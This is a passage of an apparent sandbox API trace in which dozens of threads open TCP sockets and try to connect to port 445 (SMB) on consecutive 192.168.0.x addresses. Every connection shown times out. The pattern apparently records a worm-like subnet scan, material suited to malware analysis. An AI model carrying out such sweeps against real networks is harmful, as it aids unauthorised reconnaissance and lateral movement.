[0183.871] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1ef3df10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.568] CoUninitialize ()
Thread:
id = 23
os_tid = 0xb4c
[0162.204] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.296] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6b8
[0162.499] WSAConnect (in: s=0x6b8, name=0x27020b8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.10"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0183.917] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1f15e530, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.563] CoUninitialize ()
Thread:
id = 24
os_tid = 0xba4
[0162.229] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.296] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6c4
[0162.500] WSAConnect (in: s=0x6c4, name=0x27021f8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.11"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0183.968] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1f34e4b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.559] CoUninitialize ()
Thread:
id = 25
os_tid = 0xb84
[0162.251] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.298] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x6d0
[0162.503] WSAConnect (in: s=0x6d0, name=0x2702338*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.12"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.012] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1f45e190, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.546] CoUninitialize ()
Thread:
id = 26
os_tid = 0xb50
[0162.270] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.301] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x70c
[0162.507] WSAConnect (in: s=0x70c, name=0x2702958*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.13"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.286] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1f62e250, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.479] CoUninitialize ()
Thread:
id = 27
os_tid = 0x72c
[0162.286] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.286] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x65c
[0162.493] WSAConnect (in: s=0x65c, name=0x2701960*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.14"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0183.637] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1f7bded0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.596] CoUninitialize ()
Thread:
id = 28
os_tid = 0x748
[0162.341] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.342] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x718
[0162.509] WSAConnect (in: s=0x718, name=0x2702bd8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.15"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.371] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1f94e070, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.458] CoUninitialize ()
Thread:
id = 29
os_tid = 0x6d8
[0162.379] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.380] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x738
[0162.508] WSAConnect (in: s=0x738, name=0x2702a98*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.16"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.323] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1fabe0d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.462] CoUninitialize ()
Thread:
id = 30
os_tid = 0x3f8
[0162.442] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.442] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x758
[0162.492] WSAConnect (in: s=0x758, name=0x27015a0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.17"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0183.600] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1fbce2d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.603] CoUninitialize ()
Thread:
id = 31
os_tid = 0x6cc
[0162.465] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.466] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x778
[0162.510] WSAConnect (in: s=0x778, name=0x2702fd8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.18"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.417] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1f03e230, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.452] CoUninitialize ()
Thread:
id = 32
os_tid = 0x388
[0162.483] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.484] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x798
[0162.485] WSAConnect (in: s=0x798, name=0x2703740*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.19"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0183.558] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1fcee1f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0183.596] CoUninitialize ()
Thread:
id = 33
os_tid = 0x6b0
[0162.517] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.518] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x7b8
[0162.518] WSAConnect (in: s=0x7b8, name=0x2704b48*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.20"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.464] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1fe0dc10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.444] CoUninitialize ()
Thread:
id = 34
os_tid = 0x688
[0162.525] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.526] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x7d8
[0162.526] WSAConnect (in: s=0x7d8, name=0x2705260*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.21"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.511] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2000e0b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.435] CoUninitialize ()
Thread:
id = 35
os_tid = 0x38c
[0162.535] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.535] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x7f8
[0162.536] WSAConnect (in: s=0x7f8, name=0x2705978*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.22"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.557] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2013df90, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.426] CoUninitialize ()
Thread:
id = 36
os_tid = 0x760
[0162.542] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.543] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x81c
[0162.544] WSAConnect (in: s=0x81c, name=0x2706090*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.23"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.605] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x203edc10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.419] CoUninitialize ()
Thread:
id = 37
os_tid = 0x7a4
[0162.559] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.560] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x83c
[0162.560] WSAConnect (in: s=0x83c, name=0x27067a8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.24"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.651] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x202ed8b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.410] CoUninitialize ()
Thread:
id = 38
os_tid = 0x36c
[0162.567] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.568] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x85c
[0162.569] WSAConnect (in: s=0x85c, name=0x2706ec0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.25"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.699] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x205bd730, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.401] CoUninitialize ()
Thread:
id = 39
os_tid = 0x130
[0162.579] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.579] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x87c
[0162.580] WSAConnect (in: s=0x87c, name=0x27075d8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.26"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.745] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2084d690, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.382] CoUninitialize ()
Thread:
id = 40
os_tid = 0x330
[0162.587] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.588] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x89c
[0162.588] WSAConnect (in: s=0x89c, name=0x2707cf0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.27"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.791] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x20a3dd10, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.372] CoUninitialize ()
Thread:
id = 41
os_tid = 0x500
[0162.602] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.603] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x8bc
[0162.604] WSAConnect (in: s=0x8bc, name=0x2708408*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.28"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.844] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x20c2ecd0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.366] CoUninitialize ()
Thread:
id = 42
os_tid = 0x358
[0162.620] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.621] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x8dc
[0162.622] WSAConnect (in: s=0x8dc, name=0x2708b20*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.29"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.885] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2070eb70, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.354] CoUninitialize ()
Thread:
id = 43
os_tid = 0x7f0
[0162.642] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.643] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x8fc
[0162.644] WSAConnect (in: s=0x8fc, name=0x2709238*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.30"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.932] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x20d3e690, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.348] CoUninitialize ()
Thread:
id = 44
os_tid = 0x828
[0162.672] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.673] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x91c
[0162.673] WSAConnect (in: s=0x91c, name=0x2709950*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.31"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0184.979] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x20f2ebf0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.341] CoUninitialize ()
Thread:
id = 45
os_tid = 0x74c
[0162.699] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.699] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x93c
[0162.700] WSAConnect (in: s=0x93c, name=0x270a068*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.32"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.025] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1df6e710, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.335] CoUninitialize ()
Thread:
id = 46
os_tid = 0x534
[0162.708] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.709] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x95c
[0162.710] WSAConnect (in: s=0x95c, name=0x270a780*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.33"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.072] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x211feb50, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.328] CoUninitialize ()
Thread:
id = 47
os_tid = 0xa90
[0162.719] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.720] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x97c
[0162.720] WSAConnect (in: s=0x97c, name=0x270ae98*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.34"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.166] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x210de690, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.295] CoUninitialize ()
Thread:
id = 48
os_tid = 0x8a8
[0162.772] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.772] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x99c
[0162.773] WSAConnect (in: s=0x99c, name=0x270b5b0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.35"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.213] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x213ce4b0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.287] CoUninitialize ()
Thread:
id = 49
os_tid = 0x320
[0162.787] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.788] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x9bc
[0162.788] WSAConnect (in: s=0x9bc, name=0x270bcc8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.36"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.260] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x2155e6d0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.275] CoUninitialize ()
Thread:
id = 50
os_tid = 0x738
[0162.861] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.862] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x9dc
[0162.863] WSAConnect (in: s=0x9dc, name=0x270c3e0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.37"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.306] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x216ae190, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.266] CoUninitialize ()
Thread:
id = 51
os_tid = 0xa9c
[0162.886] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.887] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x9fc
[0162.888] WSAConnect (in: s=0x9fc, name=0x270caf8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.38"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.353] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x217de130, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.258] CoUninitialize ()
Thread:
id = 52
os_tid = 0x410
[0162.921] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.922] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xa1c
[0162.923] WSAConnect (in: s=0xa1c, name=0x270d230*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.39"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.400] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x219ee4f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.250] CoUninitialize ()
Thread:
id = 53
os_tid = 0x150
[0162.963] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.964] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xa3c
[0162.965] WSAConnect (in: s=0xa3c, name=0x270d948*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.40"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.447] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x21bfe2f0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.246] CoUninitialize ()
Thread:
id = 54
os_tid = 0x5b4
[0162.988] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0162.989] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xa5c
[0162.990] WSAConnect (in: s=0xa5c, name=0x270e060*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.41"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.494] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x21d0dff0, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.233] CoUninitialize ()
Thread:
id = 55
os_tid = 0x898
[0163.017] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.018] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xa7c
[0163.019] WSAConnect (in: s=0xa7c, name=0x270e778*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.42"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
[0185.541] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274c, dwLanguageId=0x0, lpBuffer=0x1ff0e050, nSize=0x101, Arguments=0x0 | out: lpBuffer="A connection attempt failed because the connected party did not properly respond after a period of time, or established connection failed because connected host has failed to respond.\r\n") returned 0xb9
[0190.223] CoUninitialize ()
Thread:
id = 56
os_tid = 0x998
[0163.041] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0
[0163.042] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0xa9c
[0163.080] WSAConnect (in: s=0xa9c, name=0x270ee90*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.43"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1
